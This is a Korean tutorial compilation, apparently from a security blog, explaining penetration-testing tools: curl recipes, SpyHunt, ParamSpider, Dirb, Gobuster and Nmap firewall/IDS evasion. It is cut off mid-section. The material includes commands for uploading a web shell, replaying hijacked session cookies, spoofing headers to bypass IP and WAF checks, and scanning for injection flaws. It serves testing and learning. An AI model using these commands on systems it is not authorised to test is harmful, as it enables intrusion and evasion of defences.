오늘은 모든 해커의 터미널에 깔려 있지만, 의외로 100% 활용하는 사람은 드문 도구 Curl에 대해 알아보겠습니다.

 

Curl은 펜테스터에게 있어 외과의사의 '메스(수술칼)'와 같습니다.

자동화 도구들이 발견한 취약점을 최종적으로 검증하고(PoC), 정교한 공격 페이로드를 서버에 찔러 넣을 때 Curl만큼 확실한 도구는 없기 때문입니다.

화려한 GUI 툴인 Burp Suite도 좋지만, 리눅스 터미널에서 빠르고, 가볍고, 정확하게 웹 요청을 조작해야 할 때는 Curl이 정답입니다. 

특히 자동화 스크립트를 짜거나 익스플로잇 코드를 작성할 때 Curl 사용법을 모르면 손발이 묶인 것과 다름없습니다.

오늘은 실무에서 가장 자주 쓰이는 '해킹용 Curl 레시피'를 정리해 드립니다.

◎ 기본 중의 기본: 요청과 응답 다루기

① 헤더까지 싹 다 보기 (-v, -i)
  > 그냥 curl target.com 하면 HTML 본문만 툭 던져줍니다.

  > 우리가 보고 싶은 건 서버의 응답 헤더나 숨겨진 쿠키 값이죠.

Verbose 모드 (요청/응답 헤더 + 통신 과정 상세 출력)
# curl -v http://target.com

Include 모드 (응답 헤더 + 본문 출력)
# curl -i http://target.com
  • -v (Verbose): "내가 보낸 요청이 정확히 어떻게 생겼는지", "서버가 SSL 핸드쉐이크를 어떻게 했는지" 등 모든 디버깅 정보를 보여줍니다. 문제 해결의 1순위 옵션입니다.

 

② 조용히 결과만 보기 (-s)

  > 스크립트를 짤 때 불필요한 진행바(Progress Bar)나 에러 메시지를 끄고 싶을 때 씁니다.

# curl -s http://target.com/api/v1/user

 

◎ 해커의 위장술: 요청 변조하기

① POST 데이터 전송 (-d)

  > 로그인 페이지나 API에 데이터를 보낼 때 사용합니다. -d 옵션을 쓰면 자동으로 POST 요청으로 바뀝니다.

일반적인 폼 데이터 전송 (application/x-www-form-urlencoded)
# curl -d "id=admin&pw=1234" http://target.com/login.php

JSON 데이터 전송 (REST API 테스트 시 필수!)
# curl -H "Content-Type: application/json" \
     -d '{"username":"admin", "role":"manager"}' \
     http://target.com/api/login


② 파일 업로드 취약점 테스트 (-F)

  > 웹 쉘(Web Shell)을 업로드할 때 가장 많이 쓰는 명령어입니다.

# curl -F "upload_file=@/path/to/webshell.php" \
     -F "submit=Upload" \
     http://target.com/upload.php
  • -F: multipart/form-data 형식으로 전송합니다.
  • @: 파일 경로 앞에 @를 붙여야 파일 내용이 전송됩니다. (이거 빼먹으면 파일명 텍스트만 날아갑니다!)

 

③ User-Agent 변조 (-A)

  > "너 파이썬 봇이지?" 하고 차단하는 WAF를 뚫기 위해 브라우저인 척 위장합니다.

# curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..." \
     http://target.com


④ 쿠키/세션 하이재킹 테스트 (-b)

  > 탈취한 세션 ID로 로그인이 되는지 확인할 때 씁니다.

# curl -b "JSESSIONID=A1B2C3D4E5; security=low" http://target.com/admin

 

◎ 고급 기법: 인증과 우회
① 인증 우회 및 헤더 추가 (-H)

  > SQL 인젝션이나 XSS 공격 코드를 헤더에 심어 보낼 때 사용합니다.

X-Forwarded-For 헤더 조작 (IP 우회 시도)
# curl -H "X-Forwarded-For: 127.0.0.1" http://target.com

인증 토큰(Bearer Token) 실어 보내기
# curl -H "Authorization: Bearer [JWT_TOKEN]" http://target.com/api/private


② 프록시 태우기 (-x)

  > Curl로 보낸 요청을 Burp Suite로 잡아서 보고 싶을 때 필수입니다.

# curl -x http://127.0.0.1:8080 http://target.com
  • 이제 Burp Suite의 Proxy > HTTP history 탭에서 Curl이 보낸 요청을 상세히 뜯어볼 수 있습니다.

 

③ SSL 인증서 무시 (-k)

  > https 사이트(특히 사설 인증서를 쓰는 테스트 서버) 접속 시 에러가 난다면?

# curl -k https://test-server.local
  • -k: "Insecure". 인증서 유효성을 검사하지 않고 강제로 연결합니다. (Gobuster의 -k와 같습니다.)

 

◎ 전문가의 One-Liner (실무 활용)

 - 웹 서버의 헤더 정보(서버 버전, 프레임워크 등)만 빠르게 수집하고 싶을 때 사용하는 명령어입니다.

# curl -I -s -k http://target.com
  • -I (대문자 i): HEAD 메소드만 보냅니다. (본문은 안 받고 헤더만 쏙 빼옵니다. 속도가 매우 빠릅니다.)
  • -s: 조용히.
  • -k: SSL 에러 무시.

 

 - Curl은 옵션이 수백 개가 넘지만, 오늘 소개해 드린 -d (데이터), -H (헤더), -v (디버깅), -k (SSL 무시) 4가지만 능숙하게 써도 웬만한 웹 해킹 검증은 터미널에서 10초 안에 끝낼 수 있습니다.

 

"해킹은 마우스가 아니라 키보드로 하는 것"이라는 말을 가장 잘 보여주는 도구, Curl이었습니다.

반응형

오늘은 공격 표면(Attack Surface) 관리와 취약점 정찰을 자동화해 주는 강력한 스크립트, SpyHunt에 대해 알아보겠습니다.

여러 도구를 하나씩 실행하기 귀찮으셨죠? 

SpyHunt는 Nmap, Sublist3r, Dirsearch 등 여러 정찰 도구들을 하나의 워크플로우로 묶어놓은 '종합 선물 세트' 같은 도구입니다.
단순한 정보 수집을 넘어, Nuclei와의 연동과 정밀한 디렉터리 스캔까지 지원하는 올인원 프레임워크 SpyHunt에 대해 깊이 있게 다뤄보겠습니다.


하지만 최근 Kali Linux 업데이트로 인해 설치가 까다로워졌는데요.

Parrot OS 사용법과 함께 Kali에서의 해결책도 정리해 드립니다.

Kali Linux와 Parrot OS는 같은 Debian 기반이지만, 패키지 관리 정책(특히 Python 관련)이 조금 다릅니다. 

이로 인해 Kali 최신 버전에서 pip 설치 에러가 자주 발생하는데, 이 부분도 명쾌하게 짚어드리겠습니다.


◎ Kali Linux 설치 에러, 왜 그럴까?

 - 최신 Kali Linux (2023.x 이후)는 시스템 안정성을 위해 pip install 명령어로 시스템 전역에 파이썬 패키지를 설치하는 것을 막았습니다. (PEP 668 정책)

 - 그래서 pip install -r requirements.txt를 입력하면 "externally-managed-environment"라는 에러가 뜨면서 멈추게 됩니다.

 - 반면, Parrot OS는 개발자와 해커의 편의성을 더 중시하여 이 제약이 상대적으로 느슨하거나 기본 설정이 달라 설치가 원활했던 것입니다.

 

 - Kali Linux 해결책

  > Kali에서는 두 가지 방법으로 해결할 수 있습니다.

  • 가상 환경(Virtual Environment) 사용 (권장): 프로젝트만의 격리된 방을 만드는 방법입니다.
  • --break-system-packages 옵션 사용 (비권장하지만 빠름): "시스템 깨져도 내 책임이다"라고 강제로 설치하는 옵션입니다.

 

◎ SpyHunt 설치 가이드 (Parrot & Kali 공통)

 - 가장 안전하고 확실한 설치 방법입니다. 터미널을 열고 따라와 주세요.

① 소스코드 다운로드

# git clone https://github.com/gotr00t0day/spyhunt.git
# cd spyhunt


② 의존성 패키지 설치

  > 여기서 OS에 따라 갈립니다.
[Parrot OS 사용자]

# sudo pip3 install -r requirements.txt

 - Parrot에서는 별문제 없이 설치될 것입니다.

[Kali Linux 사용자]

 - 에러가 뜬다면 아래 방법 중 하나를 선택하세요.

  > 방법 A (가상 환경 생성 - 가장 안전)

가상 환경 만들기
# python3 -m venv venv

가상 환경 켜기 (터미널 앞에 (venv)가 뜸)
# source venv/bin/activate

이제 에러 없이 설치 가능
# pip3 install -r requirements.txt
  • 주의: SpyHunt를 쓸 때마다 source venv/bin/activate를 해줘야 합니다.

 

  > 방법 B (강제 설치)

# sudo pip3 install -r requirements.txt --break-system-packages

 

③ 실행 권한 부여

# chmod +x spyhunt.py
# python3 spyhunt.py -h

 

◎ SpyHunt 상세 사용법

 - 가장 기본이 되는 서브도메인 수집 기능입니다.
① 서브도메인 수집 (-s)
  > 타겟 도메인의 하위 도메인들을 싹 긁어옵니다.

# python3 spyhunt.py -s target.com


② 서브도메인 활성 확인 (-p)

  > 수집된 서브도메인 중 실제로 접속 가능한(살아있는) 곳만 골라냅니다. (HTTP Probing)

# python3 spyhunt.py -p target.com

 

 - SpyHunt는 복잡한 옵션 없이 모듈별로 직관적인 명령어를 사용합니다.

① 전체 스캔 (All-in-One)

  > 서브도메인 수집부터 포트 스캔, 디렉터리 스캔까지 한 번에 수행합니다. 시간이 오래 걸리지만 가장 확실합니다.

# python3 spyhunt.py -t target.com --all


② 특정 취약점 스캔 모드

  > 원하는 취약점만 콕 집어서 스캔할 수 있습니다.

   >> XSS 취약점 스캔

# python3 spyhunt.py -xss https://target.com/search?q=test

 

   >> XXE 취약점 스캔 (최신 버전 기능)

# python3 spyhunt.py -xxe https://target.com/api/upload

 

   >> SQL 인젝션 스캔

# python3 spyhunt.py -sqli https://target.com/products.php?id=1


   >> 서브도메인 테이크오버(Subdomain Takeover)

# python3 spyhunt.py -takeover target.com
  • 설명: 주인이 없는 클라우드 서비스(AWS S3, GitHub Pages 등)를 가리키는 서브도메인을 찾아줍니다.

◎ Nuclei 연동 및 취약점 스캔
 - SpyHunt의 진가는 여기서 발휘됩니다.

 - 세계 최고의 스캐너인 Nuclei를 SpyHunt 안에서 직접 불러와 특정 취약점만 골라서 타격할 수 있습니다.
① Nuclei 템플릿 지정 스캔 (--nuclei)
  > 특정 도메인(ring.com)에 대해 내가 원하는 Nuclei 템플릿(예: DOM XSS)만 실행합니다.

# python3 spyhunt.py --nuclei target.com --nuclei_template nuclei-templates/file/xss/dom-invader-xss.yaml

  > 활용 팁: "로그4j(Log4j) 취약점만 빨리 확인해보고 싶다" 할 때 해당 템플릿 경로만 넣어주면 됩니다.

  > 클라우드 키 유출 탐지, CVE 취약점 식별 등 무궁무진하게 활용 가능합니다.

 

◎ 디렉터리 브루트포싱 정밀 제어

 - Gobuster나 Dirb를 따로 켤 필요 없이, SpyHunt 내에서 옵션을 세밀하게 조정하여 숨겨진 파일과 폴더를 찾을 수 있습니다.

# python3 spyhunt.py --directorybrute ring.com \
  --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  --threads 50 \
  -e php,txt,html \
  -x 404,403
  • --directorybrute [Domain]: 해당 도메인에 대해 디렉터리 스캔 모드 진입.
  • --wordlist [Path]: 사용할 사전 파일 지정 (Kali 내장 사전 추천).
  • --threads 50: 스캔 속도를 5배(기본 10 -> 50)로 높입니다.
  • -e php,txt,html: admin.php, passwords.txt 처럼 특정 확장자 파일도 같이 찾습니다.
  • -x 404,403: 보고 싶지 않은 상태 코드(없는 페이지, 권한 없음)는 결과에서 제외하여 깔끔하게 봅니다.

 

◎ 실무 활용 예시 (시나리오)

 - 상황: company.com이라는 회사를 모의해킹해야 합니다.

  > Step 1. 정보 수집 (Recon)

# python3 spyhunt.py -t company.com -r
  • -r: Recon(정찰) 모드. 서브도메인과 IP 정보를 싹 긁어옵니다.

  > Step 2. 서브도메인 중 살아있는 웹 서버 찾기

  • 결과로 나온 도메인 리스트를 보고, dev.company.com이 수상해 보입니다.

  > Step 3. 특정 취약점 정밀 타격

  • 해당 도메인의 게시판 검색 기능에서 SQL 인젝션이 의심됩니다.
# python3 spyhunt.py -sqli https://dev.company.com/search.php?q=test

 

 

◎ 마무리

 - 실제 모의해킹이나 버그 바운티를 한다면 아래 순서로 진행해 보세요.

  • 넓게 훑기: -s와 -p 옵션으로 공격할 만한 서브도메인(Attack Surface)을 식별합니다.
  • 숨겨진 문 찾기: --directorybrute 옵션으로 관리자 페이지나 백업 파일을 찾아냅니다.
  • 약점 찌르기: 찾은 페이지에 대해 --nuclei나 -xss 옵션으로 실제 취약점이 터지는지 확인합니다.

 

◎ 문제 해결 (Troubleshooting)

Q. Parrot OS에서 잘 되다가 갑자기 에러가 나요.

A. Parrot OS도 업데이트되면서 Kali처럼 정책이 바뀔 수 있습니다. 만약 externally-managed-environment 에러가 뜬다면, 고민하지 말고 Kali Linux 해결책(가상 환경)을 똑같이 쓰시면 됩니다.

 

Q. 스캔 속도가 너무 느려요.

A. SpyHunt는 여러 외부 도구를 연쇄적으로 실행하기 때문에 느릴 수밖에 없습니다. 빠른 속도가 필요하다면 Gobuster나 Nuclei 같은 단일 전용 도구를 쓰는 게 훨씬 낫습니다. SpyHunt는 "켜놓고 밥 먹고 오기 좋은" 자동화 도구임을 기억해 주세요.

 

 - SpyHunt는 버그 바운티 입문자에게는 "어떤 절차로 해킹해야 하는지"를 알려주는 훌륭한 길잡이입니다.

 - Parrot OS에서의 쾌적한 환경을 즐기시되, Kali에서의 대처법도 꼭 익혀두시기 바랍니다

반응형

ParamSpider는 현대적인 버그 바운티와 웹 해킹에서 "파라미터(Parameter)"를 찾는 데 없어서는 안 될 도구입니다.

id=123, page=admin 같은 파라미터를 찾아야 SQL 인젝션이나 XSS를 시도해 볼 수 있기 때문입니다.

Kali Linux에는 기본 설치되어 있지 않은 경우가 많아 설치 과정부터 친절하게 안내해 드립니다.


오늘은 웹 모의해킹의 필수 코스, 파라미터 마이닝(Parameter Mining)의 최강자 ParamSpider를 소개합니다.

"왜 이 도구를 써야 하나요?"

우리가 웹사이트에 직접 접속해서 볼 수 있는 페이지는 빙산의 일각입니다. 

개발자가 과거에 만들어놓고 잊어버린 페이지, 3년 전에 쓰던 테스트용 파라미터가 웹 아카이브(Web Archive)에는 고스란히 남아있습니다.

 

ParamSpider는 이 웹 아카이브(Wayback Machine)를 털어서 현재 사이트에서는 보이지 않는 수천 개의 공격 벡터(URL 파라미터)를 긁어옵니다.

◎ 설치 방법 (Kali Linux 기준)
 - ParamSpider는 Python 기반 도구이며, GitHub에서 직접 가져와야 합니다. 1분이면 충분합니다.

1. 깃허브에서 소스코드 복제
# git clone https://github.com/devanshbatham/ParamSpider

2. 폴더 이동
# cd ParamSpider
3. 필수 라이브러리 설치
# pip3 install -r requirements.txt

  > Tip: 설치 후 python3 paramspider.py -h를 입력해서 도움말이 뜨면 성공입니다.

◎ 왜 ParamSpider인가요? (핵심 기능)

  • 이 도구의 가장 큰 특징은 "쓸모없는 것을 걸러준다"는 점입니다.
  • 웹 아카이브에는 img.jpg, style.css 같은 정적 파일이 수만 개나 쌓여 있습니다. 
  • 해커에게는 아무 쓸모 없는 쓰레기죠.
  • ParamSpider는 이런 정적 파일을 알아서 버리고, 공격 가능한 파라미터(?id=, &query=)가 포함된 URL만 예쁘게 정리해 줍니다.

 

◎ 실전 명령어 가이드

① 기본 사용법 (도메인 하나 털기)

 - 가장 기본이 되는 명령어입니다. 도메인만 주면 됩니다.

# python3 paramspider.py -d target.com
  • -d: 타겟 도메인 지정

  > 결과: output/target.com.txt 파일에 발견된 모든 URL이 저장됩니다.

 

② 쓰레기 파일 제외하기 (--exclude)

 - 스캔하다 보면 .php나 .jsp는 좋은데, .png나 .woff 같은 폰트 파일이 섞여 나올 때가 있습니다. 확실하게 제외해 봅시다.

# python3 paramspider.py -d target.com --exclude jpg,png,gif,woff,css,js
  • --exclude: 지정한 확장자는 결과에서 뺍니다. (콤마로 구분, 띄어쓰기 금지)

 

③ 공격용 플레이스홀더 넣기 (-p / --level)

 - 이 기능이 정말 꿀기능입니다. 

 - 발견된 파라미터 값 뒤에 자동으로 "FUZZ" 같은 문구를 넣어줍니다. 

 - 나중에 Burp Suite나 다른 도구에 넣고 돌리기 딱 좋은 상태로 만들어주는 거죠

기본값은 "FUZZ"가 들어갑니다.
# python3 paramspider.py -d target.com

결과 예시:
https://target.com/view.php?id=FUZZ
https://target.com/search?q=FUZZ

 

  > 만약 XSS 테스트를 위해 특정 페이로드를 미리 넣고 싶다면? (구버전이나 일부 포크 버전 옵션 참고)

  > 최신 버전에서는 기본적으로 FUZZ 키워드를 활용해 연계하는 것을 권장합니다.

 

◎ 전문가의 연계 공격 (Workflow)

 - ParamSpider만으로는 해킹이 되지 않습니다. 

 - 여기서 나온 결과를 다른 도구와 연결했을 때 진가가 발휘됩니다.

 

 - 시나리오: ParamSpider + Nuclei (자동 취약점 스캔)

  > 파라미터 수집: ParamSpider로 공격 지점을 싹 긁어모읍니다.

# python3 paramspider.py -d target.com -o urls.txt
  • 자동 해킹 수행: 수집된 urls.txt를 Nuclei(또는 Dalfox)에게 먹여줍니다.
# nuclei -l urls.txt -t /nuclei-templates/vulnerabilities/ -o result_vuln.txt
  • 해석: "ParamSpider야, 문(URL)을 찾아줘. Nuclei야, 그 문이 열려있는지(취약점) 확인해 줘."

 

◎ 자주 묻는 질문 (Troubleshooting)

Q. 결과가 너무 많이 나와요!

A. 대형 사이트는 수십만 개가 나올 수 있습니다. 이럴 땐 gf (Grerep Friendly) 도구를 같이 써서 SQLi 의심 패턴, XSS 의심 패턴만 따로 걸러내는 것이 좋습니다.

# cat urls.txt | gf xss > xss_potential.txt
# cat urls.txt | gf sqli > sqli_potential.txt

 

Q. 설치했는데 실행이 안 돼요.

A. 보통 Python 버전 문제입니다. python 대신 python3 명령어를 사용하시고, pip 대신 pip3로 라이브러리를 설치했는지 확인해 보세요.

 

 - ParamSpider는 "죽은 URL도 다시 보자"는 해커의 집요함을 기술로 구현한 도구입니다.

 - 여러분의 진단 대상 서버가 아무리 안전해 보여도, 3년 전 아카이브 어딘가에는 뚫려있는 파라미터가 잠자고 있을지 모릅니다.

반응형

Gobuster가 '속도'로 승부한다면, Dirb는 '정확성'과 '재귀 스캔(Recursive Scan)'이라는 강력한 무기를 가지고 있습니다.

특히 Kali Linux를 쓰신다면 별도 설치 없이 바로 쓸 수 있는 든든한 기본 도구죠.

 

"요즘은 Gobuster나 Feroxbuster가 더 빠르지 않나요?"라고 물으실 수 있습니다.

맞습니다. 하지만 Dirb만이 가진 독보적인 장점이 하나 있습니다.

바로 자동 재귀 스캔(Auto-Recursive Scan)입니다.

폴더 안에 또 폴더가 있고, 그 안에 또 관리자 페이지가 숨어 있다면? Dirb는 이것을 끝까지 파고들어 찾아냅니다.

 

◎ Dirb만의 킬러 기능: 재귀 스캔 (Recursive Scan)
- Dirb는 기본적으로 "찾으면 들어간다"는 원칙을 따릅니다.
  > 예를 들어 admin/ 폴더를 발견했다면, Dirb는 스캔을 멈추지 않고 즉시 admin/ 내부를 다시 스캔하기 시작합니다.

  • 장점: 사용자가 일일이 주소를 바꿔가며 다시 돌릴 필요가 없어 구조 파악에 매우 유리합니다.
  • 단점: 시간이 오래 걸릴 수 있습니다. (그래서 실무에서는 -r 옵션으로 끄기도 합니다.)

 

◎ 필수 사전 파일 (Wordlists) 위치

 - Kali나 Parrot OS 사용자라면 이미 세계 최고의 사전 파일들을 가지고 계십니다.

 - Dirb는 기본적으로 아래 경로의 파일들을 사용합니다.

 - 경로: /usr/share/wordlists/dirb/

  > 추천 파일:

  • common.txt: (기본값) 가장 자주 쓰이는 디렉터리 모음. 가볍고 빠릅니다.
  • big.txt: 더 방대한 단어장. 시간이 넉넉할 때 사용하세요.
  • vulns/: 알려진 취약점 경로(예: tomcat, cgi 등) 모음.

 

◎ 실전 명령어 가이드

① 기본 사용법 (가장 많이 씀)

 - 아무 옵션 없이 URL만 주면, 기본 사전(common.txt)을 이용해 재귀적으로 스캔합니다.

# dirb http://target.com


② 특정 파일 확장자 찾기 (-X)

 - 특정 확장자(php, html 등)를 가진 파일만 콕 집어서 찾고 싶을 때 사용합니다.

# dirb http://target.com -X .php,.html,.bak
  • -X: 지정한 확장자를 무조건 붙여서 검색합니다. (예: admin → admin.php)

 

③ 재귀 스캔 끄기 (-r)

 - 서버가 너무 크거나 시간이 부족할 때, "깊게 파지 말고 겉만 훑어봐"라고 지시하는 옵션입니다. 

 - Gobuster처럼 빠르게 1차 스캔만 하고 싶을 때 필수입니다.

# dirb http://target.com -r
  • -r: "Don't Search Recursively". 발견된 디렉터리로 진입하지 않습니다.

 

④ 속도 조절 (딜레이 주기, -z)

 - 보안 장비(WAF/IPS)가 "1초에 100번 요청하면 차단" 같은 규칙을 가지고 있다면, 천천히 요청을 보내야 합니다.

# dirb http://target.com -z 1000
  • -z 1000: 요청 사이에 1,000ms(1초)씩 쉽니다. (스텔스 모드)

 

⑤ 인증 우회 및 프록시 설정 (-u, -p)

 - 관리자 페이지가 Basic Auth(아이디/비번)로 막혀 있거나, Burp Suite를 통해 패킷을 보고 싶을 때 사용합니다.

Basic Auth 인증 정보 포함
# dirb http://target.com -u "admin:password123"

프록시 태우기 (Burp Suite 연동 시 유용)
# dirb http://target.com -p http://127.0.0.1:8080



◎ 전문가의 One-Liner (실무 활용)
실무에서 "정밀 진단"이 필요할 때 사용하는 명령어 조합입니다.

# dirb http://192.168.1.50 \
  /usr/share/wordlists/dirb/big.txt \
  -X .php,.bak \
  -o scan_result_dirb.txt \
  -r
  • /usr/share/wordlists/dirb/big.txt: 기본(common.txt)보다 더 꼼꼼하게 찾기 위해 큰 사전을 지정했습니다.
  • -X .php,.bak: 웹 페이지뿐만 아니라 백업 파일(bak)도 놓치지 않도록 설정했습니다.
  • -o ...: 결과는 반드시 파일로 저장합니다.
  • -r: big.txt는 크기 때문에 재귀 스캔까지 하면 며칠이 걸릴 수 있어, 재귀 기능은 껐습니다. (필요한 곳만 수동으로 재검사)

 

◎ Gobuster vs Dirb, 언제 써야 할까?

상황 추천 도구 이유
초기 정찰 (빠르게) Gobuster 멀티 스레드로 압도적인 속도
정밀 분석 (꼼꼼하게) Dirb 폴더 구조를 끝까지 파고드는 자동 재귀 스캔
CTF 문제 풀이 Gobuster 속도가 생명 (단, -k 옵션 잊지 말기)
WAF 우회 (천천히) Dirb -z 옵션으로 정교한 타이밍 조절 가능

  

  • Dirb는 조금 투박해 보이지만, "놓치는 것 없이 다 찾아내는 든든함"이 있습니다.
  • 상황에 맞춰 두 도구를 적절히 섞어 쓰는 것이 진정한 해커의 노하우입니다.
반응형

Gobuster는 Go 언어로 만들어져 압도적인 속도를 자랑하는 웹 디렉터리 및 DNS 스캐너입니다. 

DirBuster나 Dirb 같은 구형 도구보다 훨씬 빠르고 가벼워서 실무와 CTF(해킹 방어 대회) 모두에서 표준(Standard)으로 자리 잡았습니다.

이번 글에서는 Kali Linux나 Parrot OS 사용자라면 누구나 가지고 있는 내장 사전 파일을 활용해, Gobuster를 200% 활용하는 방법을 소개합니다.

웹 모의해킹의 두 번째 관문, 디렉터리 브루트포싱(Directory Brute-forcing)의 최강자 Gobuster 사용법을 정리해 드립니다.

웹 서버에는 robots.txt에도 나오지 않는 숨겨진 관리자 페이지, 백업 파일, 테스트 폴더가 존재할 수 있습니다.

Gobuster는 사전에 등록된 수만 개의 단어를 서버에 빠르게 대입하여 이런 "비밀의 문"을 찾아냅니다.

 

◎ Gobuster의 3가지 핵심 모드

 - Gobuster는 크게 3가지 모드로 작동합니다.

  > 가장 많이 쓰는 순서대로 알아보겠습니다.

  • dir 모드: 웹 디렉터리 및 파일 찾기 (가장 중요)
  • dns 모드: 서브 도메인(dev.naver.com 등) 찾기
  • vhost 모드: 가상 호스트 찾기

 

◎ 사전 파일(Wordlist) 준비하기

 - Kali나 Parrot OS에는 이미 훌륭한 사전 파일들이 내장되어 있습니다. 

 - 따로 다운로드할 필요 없이 아래 경로를 기억해 두세요.

 - 기본 추천 경로: /usr/share/wordlists/dirbuster/

  > 추천 파일

  • directory-list-2.3-medium.txt (가장 범용적이고 효과적)
  • directory-list-2.3-small.txt (빠르게 훑어볼 때)

  > 참고: /usr/share/wordlists/rockyou.txt는 비밀번호 크랙용이므로 디렉터리 스캔에는 적합하지 않습니다.

◎ 실전 명령어 가이드

① 기본 사용법 (디렉터리 스캔)

 - 가장 기본적인 스캔 방법입니다. 

  > URL과 사전 파일만 지정하면 됩니다.

# gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  • dir: 디렉터리 스캔 모드 진입
  • -u [URL]: 타겟 주소 (http/https 반드시 포함)
  • -w [파일경로]: 사용할 사전 파일 지정

 

② 확장자 지정 스캔 (파일 찾기)

 - 단순히 폴더뿐만 아니라 config.php, backup.zip 같은 파일을 찾으려면 확장자를 지정해야 합니다. 

  > 이 옵션을 안 쓰면 치명적인 백업 파일을 놓칠 수 있습니다.

# gobuster dir -u http://target.com \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,txt,zip,bak
  • -x [확장자]: 탐색할 파일 확장자 목록 (쉼표로 구분)

 - 꿀팁: bak, old, zip을 꼭 포함하세요. 개발자가 실수로 남긴 소스코드 압축파일이 자주 걸립니다.

 

③ 속도 조절 (스레드 관리)

 - Gobuster는 기본적으로 10개의 스레드를 사용하지만, 더 빨리 스캔하고 싶다면 스레드를 늘릴 수 있습니다.

# gobuster dir -u http://target.com -w [Wordlist] -t 50
  • -t 50: 스레드를 50개로 늘려 속도를 5배 높입니다.

 - 주의: 너무 높이면(100 이상) 서버가 다운되거나 내 IP가 차단될 수 있습니다.

④ 상태 코드 필터링 (노이즈 제거)

스캔하다 보면 '403 Forbidden'이나 '302 Redirect'가 너무 많이 떠서 중요한 '200 OK'를 놓칠 때가 있습니다. 

이럴 땐 보고 싶은 상태 코드만 골라보거나 제외할 수 있습니다.

403, 404를 제외하고 결과 보기
# gobuster dir -u http://target.com -w [Wordlist] -b 403,404

200번(성공)만 보기
# gobuster dir -u http://target.com -w [Wordlist] -s 200
  • -b [코드]: 블랙리스트 (해당 코드는 결과에서 제외)
  • -s [코드]: 화이트리스트 (해당 코드만 출력)

 

◎ 서브 도메인 찾기 (DNS 모드)

 - 웹사이트뿐만 아니라 admin.target.com, dev.target.com 같은 서브 도메인을 찾을 때 사용합니다.

# gobuster dns -d target.com -w /usr/share/wordlists/dirb/common.txt
  • dns: DNS 스캔 모드
  • -d [도메인]: 타겟 도메인 주소 (http 제외)

 

◎ 전문가의 One-Liner (복사해서 쓰세요)

 - 실무에서 제가 가장 즐겨 쓰는 "국룰 조합"입니다.

 - 확장자를 포함하고, 에러 메시지는 숨기며, 결과는 파일로 저장합니다.

# gobuster dir -u http://192.168.1.100 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,txt,bak,zip \
  -t 30 --no-error -o result_gobuster.txt
  • --no-error: 연결 시간 초과 같은 지저분한 에러 메시지를 화면에 출력하지 않습니다.
  • -o [파일명]: 결과를 파일로 저장해 나중에 천천히 분석합니다.

 

◎ "인증서 에러"로 스캔이 안 될 때 해결법 (-k 옵션)

 - CTF 문제를 풀거나 사내망 모의해킹을 하다 보면, HTTPS 사이트임에도 불구하고 Gobuster가 작동하지 않고 에러만 뿜어낼 때가 있습니다.

Error: Get "https://10.10.10.5/": x509: certificate signed by unknown authority

 

  • 이런 메시지를 보셨다면, Gobuster가 "이 사이트의 보안 인증서(SSL)를 믿을 수 없어서 스캔을 못 하겠다"라고 멈춘 것입니다.
  • 보통 사설 인증서(Self-signed Certificate)를 사용하는 개발 서버나 CTF 문제 서버에서 100% 발생합니다.
  • 이때 필요한 것이 바로 -k (또는 --no-tls-validation) 옵션입니다.

 

1. -k 옵션이 필요한 순간

  • CTF 문제 풀이: HackTheBox, TryHackMe 등의 문제 서버는 공인 인증서를 쓰지 않습니다.
  • 내부망 모의해킹: 사내 개발 서버나 테스트 서버는 보통 사설 인증서를 사용합니다.
  • IP 주소로 직접 스캔: 도메인 이름이 아닌 IP(https://192.168.x.x)로 직접 스캔할 때는 인증서와 주소가 일치하지 않아 에러가 발생합니다.

 

2. 사용 예시

  • 사용법은 매우 간단합니다. 명령어 뒤에 -k만 붙여주면 됩니다.

① 기본 사용법에 -k 추가

# gobuster dir -u https://10.10.10.123 -w [Wordlist] -k
  • 이제 Gobuster는 인증서 유효성을 검사하지 않고(Skip), 무조건 연결하여 디렉터리를 찾아냅니다.

 

② 전체 옵션과 함께 사용하는 실전 예시

# gobuster dir -u https://target-ctf-box.local \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,txt,bak \
  -k -t 50 --no-error
  • -k: TLS/SSL 인증서 검증 무시 (가장 중요!)
  • -t 50: 스캔 속도 UP
  • --no-error: 자잘한 연결 에러 메시지 숨김

 

3. 요약: 이것만 기억하세요

  • "HTTPS인데 스캔이 바로 죽는다? 무조건 -k를 붙여보자."
  • 보안이 중요한 실 운영 서버(Production)가 아니라면, 펜테스터에게 -k 옵션은 선택이 아닌 필수입니다.
  • curl의 -k, wget의 --no-check-certificate와 같은 역할이라고 보시면 됩니다.
  • 이 옵션 하나만 알아도 CTF 초반 삽질 시간을 획기적으로 줄일 수 있습니다

 

◎ 마무리하며

  • Gobuster는 단순히 도구를 돌리는 게 아니라 "어떤 사전 파일(Wordlist)을 쓰느냐"에 따라 결과가 천지차이입니다.
  • 처음에는 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt로 감을 익히시고, 익숙해지면 SecLists 같은 더 방대한 사전을 활용해 보세요.
  • 숨겨진 디렉터리 하나가 시스템 전체를 장악하는 열쇠가 될 수 있습니다.
반응형

지난 글에서는 Nmap의 기본 정석 조합을 알아봤습니다.

하지만 보안 장비(Firewall, IDS/IPS)가 촘촘한 환경에서 -sC -sV를 날렸다가는 바로 IP가 차단되거나, 관리자에게 경보 알림이 가게 됩니다.

 

오늘은 보안 장비의 눈을 속이거나, 방화벽 규칙을 우회하여 은밀하게 스캔하는 고급 회피(Evasion) 기술을 소개합니다.

 

◎ 패킷 조각내기 (Fragmentation)

 - 대부분의 패킷 필터링 방화벽이나 IDS는 패킷의 헤더(Header)를 보고 차단 여부를 결정합니다. 

 - 이 패킷을 아주 잘게 쪼개서 보내면, 보안 장비가 이를 재조립하지 못하고 통과시키는 경우가 있습니다.

  • 명령어: -f 또는 -ff
  • 원리: IP 패킷을 8바이트(또는 16바이트) 단위로 쪼개서 전송합니다.
  • 사용 예시:
# nmap -f [Target_IP]
# nmap --mtu 24 [Target_IP]  # MTU(전송 단위)를 직접 지정하여 쪼개기

 

◎ 미끼 던지기 (Decoys)

 - 내 IP로만 공격하면 금방 들키겠죠?

 - 마치 여러 곳에서 동시에 스캔하는 것처럼 위장하여, "누가 진짜 공격자인지" 헷갈리게 만드는 기술입니다.

